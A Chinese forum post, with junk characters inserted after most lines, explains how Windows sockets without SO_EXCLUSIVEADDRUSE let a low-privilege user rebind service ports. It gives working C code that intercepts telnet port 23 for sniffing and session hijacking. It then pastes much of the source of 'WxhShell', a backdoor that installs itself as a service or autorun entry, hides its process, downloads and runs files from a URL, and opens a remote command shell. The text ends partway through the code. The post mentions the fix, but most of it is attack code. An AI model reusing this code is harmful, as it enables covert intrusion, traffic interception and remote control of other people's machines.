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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i+ICgMcd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2$TwD*[  
PvB{@82  
  saddr.sin_family = AF_INET; +; / s0  
8/T[dn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;u;_\k<qK  
7_ s7 );  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \=uD)9 V  
.H 9 r_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o@sL/5,  
weC.k x   
  这意味着什么?意味着可以进行如下的攻击: TpcJ1*t  
oLIgj,k{*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zk~~`h  
3HqTVq`&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pv8vW'G\E  
8_/,`}9   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 # 1 1<=3Yj  
QD^q\9U[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (;9j#x  
hip't@.uE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %l[]n;*$  
sA2esA@C<o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W:>XXUU  
yT|44 D2j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N qS]dH61  
r;_*.|AH  
  #include TeRH@oI  
  #include _$_,r H  
  #include ,H>'1~q  
  #include    mO2u9?N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _ %G;^ b  
  int main() ~S\8 '  
  { 5a&BgBO1M  
  WORD wVersionRequested; y({lE3P  
  DWORD ret; pi5DDK  
  WSADATA wsaData; [<WoXS1LX  
  BOOL val;  [ J4n%  
  SOCKADDR_IN saddr; CsEU:v  
  SOCKADDR_IN scaddr; A|YiSwyy  
  int err; _*ar\A`  
  SOCKET s; XhUVDmeUMb  
  SOCKET sc; XtqhK"f%  
  int caddsize; ,\T7{=ZG\!  
  HANDLE mt; A1n4R  
  DWORD tid;   _+,>NJ  
  wVersionRequested = MAKEWORD( 2, 2 ); i0F6eqe=J  
  err = WSAStartup( wVersionRequested, &wsaData ); Qs ysy  
  if ( err != 0 ) { j'`-3<k  
  printf("error!WSAStartup failed!\n"); KW!+Ws  
  return -1; gx8i|]  
  } (TU/EU5  
  saddr.sin_family = AF_INET; oqo7Ge2  
   jq%}=-%KE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tz5\O}  
a7!{`fR5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L;WFHIE  
  saddr.sin_port = htons(23); 0BH-kr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +8Y|kC{9"  
  { q4v:s   
  printf("error!socket failed!\n"); -A@/cS%p  
  return -1; l6zYiM  
  } 1Tr%lO5?6  
  val = TRUE; =RAojoN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^B1$|C D,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >pp#>{}  
  { aW}d=y[  
  printf("error!setsockopt failed!\n"); @_wJN Qo`  
  return -1; s bd$.6 |&  
  } djqw5kO:R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |*^}e54  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N>CNgUyP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :| !5d{8S8  
Sp2DpGs~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3 . K #,  
  { B#?rW*yEe  
  ret=GetLastError(); 'S|7<<>4k  
  printf("error!bind failed!\n"); WrS>^\:  
  return -1; q\-P/aN_  
  } zI\+]U'  
  listen(s,2); U9K'O !i>  
  while(1) t1NGs-S3  
  { G;d3.ml/aZ  
  caddsize = sizeof(scaddr); ~nb(e$?N  
  //接受连接请求 m2P&DdN[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $f%om)  
  if(sc!=INVALID_SOCKET) 'rTJ*1i  
  { GaV}@Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hxMV?\MYj  
  if(mt==NULL) |>OBpb  
  { x4(8 =&Z  
  printf("Thread Creat Failed!\n"); ^C92R"*Qu  
  break; v^)B [e!  
  } x6^Y&,y9kU  
  } @AM11v\:  
  CloseHandle(mt); s4QCun~m  
  } r Nurzag  
  closesocket(s); %~} ,N  
  WSACleanup(); 3 q J00A  
  return 0; xkU8(=  
  }   u:Ye`]~o  
  DWORD WINAPI ClientThread(LPVOID lpParam) m'N8[ o|h  
  { wa~zb!y<  
  SOCKET ss = (SOCKET)lpParam; /]U;7)  
  SOCKET sc; (G/(w%#7_  
  unsigned char buf[4096]; &H P g>  
  SOCKADDR_IN saddr; |sY  
  long num; )0DgFA6k_  
  DWORD val; q#SEtyJL  
  DWORD ret; 3=^)=yOd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C"$~w3A k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *l;S"}b*,_  
  saddr.sin_family = AF_INET; JU.!<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,i Y:#E  
  saddr.sin_port = htons(23); ;9~ WB X"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pwkTe  
  { ~)n[Vf  
  printf("error!socket failed!\n"); <*WGvCh%w  
  return -1; 3fA+{Y8S  
  } X6T[+]Gc  
  val = 100; W#E(?M[r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h"/'H)G7_&  
  { 2W`WOBz  
  ret = GetLastError(); Xs# _AX  
  return -1; JWYe~  
  } cy)-Rfg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ![nL/  
  { S;jD@j\t&  
  ret = GetLastError(); tv`b##  
  return -1; l($ 8H AJ  
  } R\XS5HOE(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P3n#s2o6y  
  { ) <{u oH  
  printf("error!socket connect failed!\n"); .9WOT ti  
  closesocket(sc); Bs`{qmbC  
  closesocket(ss); =mF"D:s*  
  return -1; >3pT).wH|M  
  } TOF V`7q;3  
  while(1) RwYFBc  
  { ?{jey_]M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &3;"$P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D~BL Txq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /-i m g^^  
  num = recv(ss,buf,4096,0); ivn2   
  if(num>0) x0jaTlU/  
  send(sc,buf,num,0); !icI Rqcf=  
  else if(num==0) w-2#CX8jY  
  break; PTLlLa85<  
  num = recv(sc,buf,4096,0); |cP:1CRzi  
  if(num>0) \HkBp& bqK  
  send(ss,buf,num,0); l qwy5#  
  else if(num==0) [z ]P5  
  break; y.}{KQ"a*  
  } Rd5-ao4  
  closesocket(ss); ?|/K(}  
  closesocket(sc); dQZdL4  
  return 0 ; 9<&M~(dwT4  
  } JqZt1um  
CLk,]kA'r  
\Vroz=IT:  
========================================================== X7AxI\h  
WcoA)we  
下边附上一个代码,,WXhSHELL M_Q`9  
ZSW@,Ti  
========================================================== c"-X: m"  
XzSl"UPYH  
#include "stdafx.h" @eeI4Jz  
U,Uy0s2r  
#include <stdio.h> od5nRb  
#include <string.h> m;\nMdn  
#include <windows.h> 8Iu6r}k?~`  
#include <winsock2.h> =}kISh  
#include <winsvc.h> {? Y \T  
#include <urlmon.h> r5ldK?=k+*  
[DDe}D3C  
#pragma comment (lib, "Ws2_32.lib") /RMtCa~  
#pragma comment (lib, "urlmon.lib") 4v |i\V>M  
D!! B4zt  
#define MAX_USER   100 // 最大客户端连接数 yYYP;N?g4k  
#define BUF_SOCK   200 // sock buffer ib#rT{e  
#define KEY_BUFF   255 // 输入 buffer }e/vKW fT  
`4snTM!v&  
#define REBOOT     0   // 重启 IN<nZ?D#  
#define SHUTDOWN   1   // 关机 R9 Ab.t  
}/&Zo=Q$  
#define DEF_PORT   5000 // 监听端口 :$k1I-^R  
FeMgn`q  
#define REG_LEN     16   // 注册表键长度 cu foP&  
#define SVC_LEN     80   // NT服务名长度 y< j7iN  
wK7w[Xt  
// 从dll定义API j5" L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dsx<ZwZN>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .?5 ~zK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v%AepK&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  YTZ :D/  
Zi+FIQ(  
// wxhshell配置信息 Gf3-%s xA  
struct WSCFG { :wXiz`VH  
  int ws_port;         // 监听端口 #::+# G  
  char ws_passstr[REG_LEN]; // 口令 6H: fg  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,b -  
  char ws_regname[REG_LEN]; // 注册表键名 Anu:  
  char ws_svcname[REG_LEN]; // 服务名 BYMdX J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *#b e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @vyEN.K%mm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8 yi#] 5`Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dm[cl~[ Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b@8z+,_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cZ|NGkZ  
ga/zt-&  
}; Zv!XNc!"$y  
;`LG WT-<F  
// default Wxhshell configuration ,$ /Ld76U  
struct WSCFG wscfg={DEF_PORT, 5I1YB+$}e  
    "xuhuanlingzhe", nRB3VsL  
    1,  R*2N\2  
    "Wxhshell", JxwKTFU'3O  
    "Wxhshell", !J<Xel {  
            "WxhShell Service", 21tv(x  
    "Wrsky Windows CmdShell Service", J&fIW Z  
    "Please Input Your Password: ", 4-SU\_  
  1, Pg:xC9w4  
  "http://www.wrsky.com/wxhshell.exe", J^yqu{  
  "Wxhshell.exe" X,aRL6>r  
    }; 6`Y:f[VB  
``k[CgV  
// 消息定义模块 dWiNe!oY2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P?f${ t+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hBnUpYec  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g[1>|Ax`'  
char *msg_ws_ext="\n\rExit."; ]?H12xz  
char *msg_ws_end="\n\rQuit."; - K?lhu  
char *msg_ws_boot="\n\rReboot..."; ^*`#+*C  
char *msg_ws_poff="\n\rShutdown..."; Jh=.}FXnjL  
char *msg_ws_down="\n\rSave to "; l$\B>u,>  
>I5Wf /$  
char *msg_ws_err="\n\rErr!"; Vn kh Y  
char *msg_ws_ok="\n\rOK!"; ?xH{7)dO  
yOQae m^O  
char ExeFile[MAX_PATH]; q MrM^ ~  
int nUser = 0; Ul /m]b6-  
HANDLE handles[MAX_USER]; \1joW#  
int OsIsNt; 9%|skTgIqH  
^ '|y^t  
SERVICE_STATUS       serviceStatus; LH_H yP_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |[iO./ zP  
3%(r,AD  
// 函数声明 Be@g|'r  
int Install(void); R|(X_A  
int Uninstall(void); I50Ly sM  
int DownloadFile(char *sURL, SOCKET wsh); 1c#\CO1l  
int Boot(int flag); +@!\3a4!  
void HideProc(void); \RR` F .7  
int GetOsVer(void); BWxJ1ENM  
int Wxhshell(SOCKET wsl); "1^tVw|  
void TalkWithClient(void *cs); y*X.DS 1(w  
int CmdShell(SOCKET sock); 6>#8 ^{[  
int StartFromService(void); (nq""kO6'  
int StartWxhshell(LPSTR lpCmdLine); .6$=]hdAp  
Uv>e :U7;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %i3[x.M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %.f%Q?P  
|wv+g0]Pg^  
// 数据结构和表定义 , ~38IIS>_  
SERVICE_TABLE_ENTRY DispatchTable[] = +`gU{e,p  
{ /{hT3ncb  
{wscfg.ws_svcname, NTServiceMain}, [<U=)!Swg  
{NULL, NULL} y `FZ 0FI  
}; Q njK<}M9  
T^#d;A  
// 自我安装 *5oQZ".vA*  
int Install(void) $dKfUlO  
{ o96c`a u  
  char svExeFile[MAX_PATH]; de2G"'F  
  HKEY key; fi>.X99(G  
  strcpy(svExeFile,ExeFile); 7Ko*`-p  
P.q7rk<  
// 如果是win9x系统,修改注册表设为自启动 * bYU=RS  
if(!OsIsNt) { 2>^(&95M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wM N;<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CQ.C{  
  RegCloseKey(key); e8dZR3JL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?'a>?al%>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u(8{5"C  
  RegCloseKey(key); <)a$5"AP  
  return 0; OqMdm~4B!j  
    } /KC^x= Xv:  
  } BNE:,I*&  
} kZG; \  
else { hQe78y  
G)[gLD{g?  
// 如果是NT以上系统,安装为系统服务 xLFMC?I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K]B`&ih  
if (schSCManager!=0) |pBFmm*  
{ :TP4f ?FA  
  SC_HANDLE schService = CreateService +{=U!}3|  
  ( $eT[`r  
  schSCManager, ./3/3& 6  
  wscfg.ws_svcname, (?'vT %  
  wscfg.ws_svcdisp, (_FeX22+  
  SERVICE_ALL_ACCESS, RAu(FJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '[8w8,v(  
  SERVICE_AUTO_START, ;Dp*.YJ  
  SERVICE_ERROR_NORMAL, ;:oJFI#;  
  svExeFile, x 2&5zp  
  NULL, 9eHqOmz  
  NULL, 4@\$k+v  
  NULL, zi`q([  
  NULL, > r(`4M:  
  NULL 7_Te-i  
  ); Z?qLn6y1W  
  if (schService!=0) lY@2$q9BT  
  { `5oXf  
  CloseServiceHandle(schService); 2i #Ekon  
  CloseServiceHandle(schSCManager); ?o6#i3k#'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eB9&HD:  
  strcat(svExeFile,wscfg.ws_svcname); zBq&/?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A7#nBHwxZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y=Ic<WHR  
  RegCloseKey(key); ^fO9oPM|  
  return 0; KwaxNb5  
    } T zS?WYF  
  } ,d lq2  
  CloseServiceHandle(schSCManager); i9qIaG/  
} l44QB8 9  
} 6A =k;do  
xH` VX-X3  
return 1; gzvgXZ1q"  
} 1'p=yHw  
*'H\`@L  
// 自我卸载 m*B4a9 f  
int Uninstall(void) )f^^hEIS  
{ AZik:C"Q  
  HKEY key; \v=@'  
lcEK&AtK  
if(!OsIsNt) {  LDU4 D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u.n'dF-  
  RegDeleteValue(key,wscfg.ws_regname); S?JGg.)  
  RegCloseKey(key); vN_ 8qzWk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *fj]L?,  
  RegDeleteValue(key,wscfg.ws_regname); 60ciI,_`  
  RegCloseKey(key); A\9LJ#E  
  return 0; 0uM&F[.x@g  
  } -\B*reC  
} b|E ZD3y  
} UEx<;P8rP  
else { ^C~R)M:C  
J9XH8Grk-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !wEe<],  
if (schSCManager!=0) '`<Fys&:  
{ #1*7eANfr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O<|pw  
  if (schService!=0) 5wAKA`p"z  
  { ! N!pvK;  
  if(DeleteService(schService)!=0) { r: >RH,  
  CloseServiceHandle(schService); mqsAYzG  
  CloseServiceHandle(schSCManager); X}x\n\Z  
  return 0; \JR^uJ{Y  
  } 4:**d[|1  
  CloseServiceHandle(schService); +hispU3ia  
  } OXKV6r6f  
  CloseServiceHandle(schSCManager); d)Z&_v<|  
} o+XQMg  
} =w`uZ;l$Q  
w 2U302TZ  
return 1; n`w]?bL  
} Pe\Obd8d  
2T?Y  
// 从指定url下载文件 T fIOS]  
int DownloadFile(char *sURL, SOCKET wsh) v ?,@e5GZ  
{ I][&*V1  
  HRESULT hr; !J@!2S 9  
char seps[]= "/"; 5#X R1#`  
char *token; q7soV(P  
char *file; .$y'>O*$G  
char myURL[MAX_PATH]; Eld[z{n"  
char myFILE[MAX_PATH]; l.g.O>1   
~9#x=nU:+V  
strcpy(myURL,sURL); ;P;c!}:\b  
  token=strtok(myURL,seps); :qB|~"9O  
  while(token!=NULL) R6;#+ 1D  
  { yw7(!1j=  
    file=token; 7hPwa3D^  
  token=strtok(NULL,seps); / bH2Z  
  } :Ru8Nm  
xqY'-Hom  
GetCurrentDirectory(MAX_PATH,myFILE); 3>MILEY^  
strcat(myFILE, "\\"); =)g}$r &<  
strcat(myFILE, file); /|}yf/^9X  
  send(wsh,myFILE,strlen(myFILE),0); !m-`~3P#l,  
send(wsh,"...",3,0); /5L\:eX%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?mK&Slh.  
  if(hr==S_OK) 3pW4Ul@e  
return 0; H-u SdT  
else d2gYB qag  
return 1; UmGKj9u  
Rmn{Vui9\  
} r7?nHF  
o37oRv]  
// 系统电源模块 Pn.DeoHme  
int Boot(int flag) u=]*,,5<  
{ 4<E <sD  
  HANDLE hToken; m`q&[:  
  TOKEN_PRIVILEGES tkp; ew dTsgt'  
L%\Wt1\[  
  if(OsIsNt) { :wg=H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J#i7'9g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Piwox1T ;  
    tkp.PrivilegeCount = 1; /2/aMF(J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5=#d#dDc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); emrA!<w!W  
if(flag==REBOOT) { p-EU"O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P3 =#<Q.  
  return 0; lP]Y^Gz  
} G'w!Aw s  
else { mDbTOtD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z9OpxW@Ou  
  return 0; >!']w{G  
} z^&$6c_  
  } Tl[*(| /C  
  else { f#GMJ mCQs  
if(flag==REBOOT) { hjFht+j1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @>~\So|  
  return 0; f$-n %7  
} 55$';gh,9  
else { m F+8Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !V/\_P!I  
  return 0; $^?VyHXvY  
} GU@#\3  
} ]a~sJz!  
n@;B_Bt7  
return 1; zG9D Ph  
} =VZ_';b h  
e?+-~]0  
// win9x进程隐藏模块 m$v >r\*X  
void HideProc(void) CX\XaM)l  
{  ^QJJ2jZ  
+s8R]3NJ_H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xfqin4/jC  
  if ( hKernel != NULL ) 3^ y<Db  
  { 2@2d |  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m9:ah<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ty[p5%L1  
    FreeLibrary(hKernel); U Xpp1/d|e  
  } vF'>?O?  
;sAGTq  
return; wik<# ke  
} oS9Od8  
~ @xPoD&  
// 获取操作系统版本 .n YlYY'   
int GetOsVer(void) Y&Fg2_\">  
{ H7;, Kr  
  OSVERSIONINFO winfo; Y2.zT6i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eXK3W2XF  
  GetVersionEx(&winfo); h| wdx(4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?#Z4Dg 9|  
  return 1; \ ya@9OA  
  else |#Lz0<c;  
  return 0; p?cc Bq  
} dz +Dk6"R  
,~ZD"'*n6g  
// 客户端句柄模块 -PSgBH[  
int Wxhshell(SOCKET wsl) $*%,  
{ T7.SjR6X>  
  SOCKET wsh; ug ;Xoh5w  
  struct sockaddr_in client; 0^u Ut-  
  DWORD myID; ~:f..|JM  
y'4Qt.1ukN  
  while(nUser<MAX_USER) Q/0gd? U?  
{ nC%qdzT  
  int nSize=sizeof(client); c$&({Z{1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YOGj__:  
  if(wsh==INVALID_SOCKET) return 1; 0\ (:y^X  
E JuTv%Y8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <y^_&9  
if(handles[nUser]==0) {dpDQP +!  
  closesocket(wsh); sHk>ek]2I  
else   P3|s}&  
  nUser++; h ka_Fo  
  } a <?~1pWtc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &b5(Su  
0^o/c SF  
  return 0; jED.0,+K !  
} ;e5PoLc  
T~Bj],k_  
// 关闭 socket u4SL:IH{D  
void CloseIt(SOCKET wsh) EUcD[Rv  
{ BPt? 3tC  
closesocket(wsh); 1Pw1TO"Z  
nUser--; VlA]A,P}i  
ExitThread(0); -q{N1? tcy  
} g:JSy  
L98T!5)  
// 客户端请求句柄 ~).D\Q\  
void TalkWithClient(void *cs) Q35\wQ#  
{ p2t0 4p!  
H2Wlgt  
  SOCKET wsh=(SOCKET)cs; 8^j~uH  
  char pwd[SVC_LEN]; msfE;  
  char cmd[KEY_BUFF]; 9+N%Io?!  
char chr[1]; EXVZ?NG  
int i,j; eU%49 A  
_Wg}#r  
  while (nUser < MAX_USER) { 4^2>K C_  
Q9O_>mZy  
if(wscfg.ws_passstr) { lm;hW&O9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !.mR]El{K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4l %W]'  
  //ZeroMemory(pwd,KEY_BUFF); Hh=fv~X  
      i=0; |>]@w\]  
  while(i<SVC_LEN) { T pF [-fO  
DWKQ>X6  
  // 设置超时 *1`X}  
  fd_set FdRead; b1 w@toc  
  struct timeval TimeOut; 1s=Q~*f~d  
  FD_ZERO(&FdRead); ~d]v{<3  
  FD_SET(wsh,&FdRead); JJ?rVq1g  
  TimeOut.tv_sec=8; IV. })8  
  TimeOut.tv_usec=0; #c@&mus  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \uPzj_kU6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -]zb3P  
nD*iSb*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uWdF7|PN7  
  pwd=chr[0]; z6E =%-`  
  if(chr[0]==0xd || chr[0]==0xa) { A3_p*n@  
  pwd=0; s~ 8 g  
  break; 2Wluc37  
  } ,k4pW&A  
  i++; V4\56 0  
    } tQ[]Rc  
j%5a+(H,z;  
  // 如果是非法用户,关闭 socket en%B>]QI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J7m`]!*t  
} [DhEh@  
1t#XQ?8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .FJ j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6=3(oUl  
f?5A"-NS  
while(1) { TZBVU&,{Z  
0V7 _n  
  ZeroMemory(cmd,KEY_BUFF); ~4+8p9f  
NQ{-&#@/v  
      // 自动支持客户端 telnet标准   _<2 RYXBC  
  j=0; WP!il(Gr  
  while(j<KEY_BUFF) { F-tFet  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dm  2EH  
  cmd[j]=chr[0]; oX*b<d{\N  
  if(chr[0]==0xa || chr[0]==0xd) { Y2D >tpqNw  
  cmd[j]=0; yF;?Hg  
  break; o"4E+1qwM  
  } 2_.CX(kI  
  j++; |G=FqAX H  
    } j"0rkN3$J  
?cJA^W  
  // 下载文件 ]7l{g9?ZtV  
  if(strstr(cmd,"http://")) { ( QKsB3X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kk>DYHZ6y  
  if(DownloadFile(cmd,wsh)) sy=dY@W^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u ]SZ{[ e  
  else 90(UgK&Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V:8@)Hc=  
  } yeNvQG  
  else { qZP:@r"  
_1\poAy  
    switch(cmd[0]) { ?ff [$ab  
  -`g J  
  // 帮助 2;h+;G  
  case '?': { MU*It"@}2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cPSti  
    break; pSXEJ 2k  
  } ?F25D2[(  
  // 安装 V4Qz*z%  
  case 'i': { DEcGFRgN~  
    if(Install()) ILNXaJ'0a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5E0wn'  
    else )Z&HuEg{ZR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w?i)/q  
    break; e]Puv)S>{8  
    } x?gQ\ 0S<  
  // 卸载 m'c#uU  
  case 'r': { d#4Wj0x  
    if(Uninstall()) L@+Z)# V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eq{ [?/  
    else ) u-ns5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); py=i!vb&Z%  
    break; xmOM<0T  
    } 1j+eD:d'  
  // 显示 wxhshell 所在路径 5Vm Eyb  
  case 'p': { 4NJVW+:2  
    char svExeFile[MAX_PATH]; ePi Z  
    strcpy(svExeFile,"\n\r"); _=6vW^ s  
      strcat(svExeFile,ExeFile); Agz=8=S%  
        send(wsh,svExeFile,strlen(svExeFile),0); IE|, ~M2  
    break; fmBkB8  
    } vyujC`61d  
  // 重启 n~.%p  
  case 'b': { [Zh2DNp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k5q(7&C  
    if(Boot(REBOOT)) ]M uF9={  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X&/(x  
    else { !%X>rGkc  
    closesocket(wsh); #U:0/4P(  
    ExitThread(0); &D)Hz  
    } DVbYShB  
    break; w gmWo8  
    } yX`J7O{=  
  // 关机 eXc[3ceUr  
  case 'd': { 5R)[Ou.  
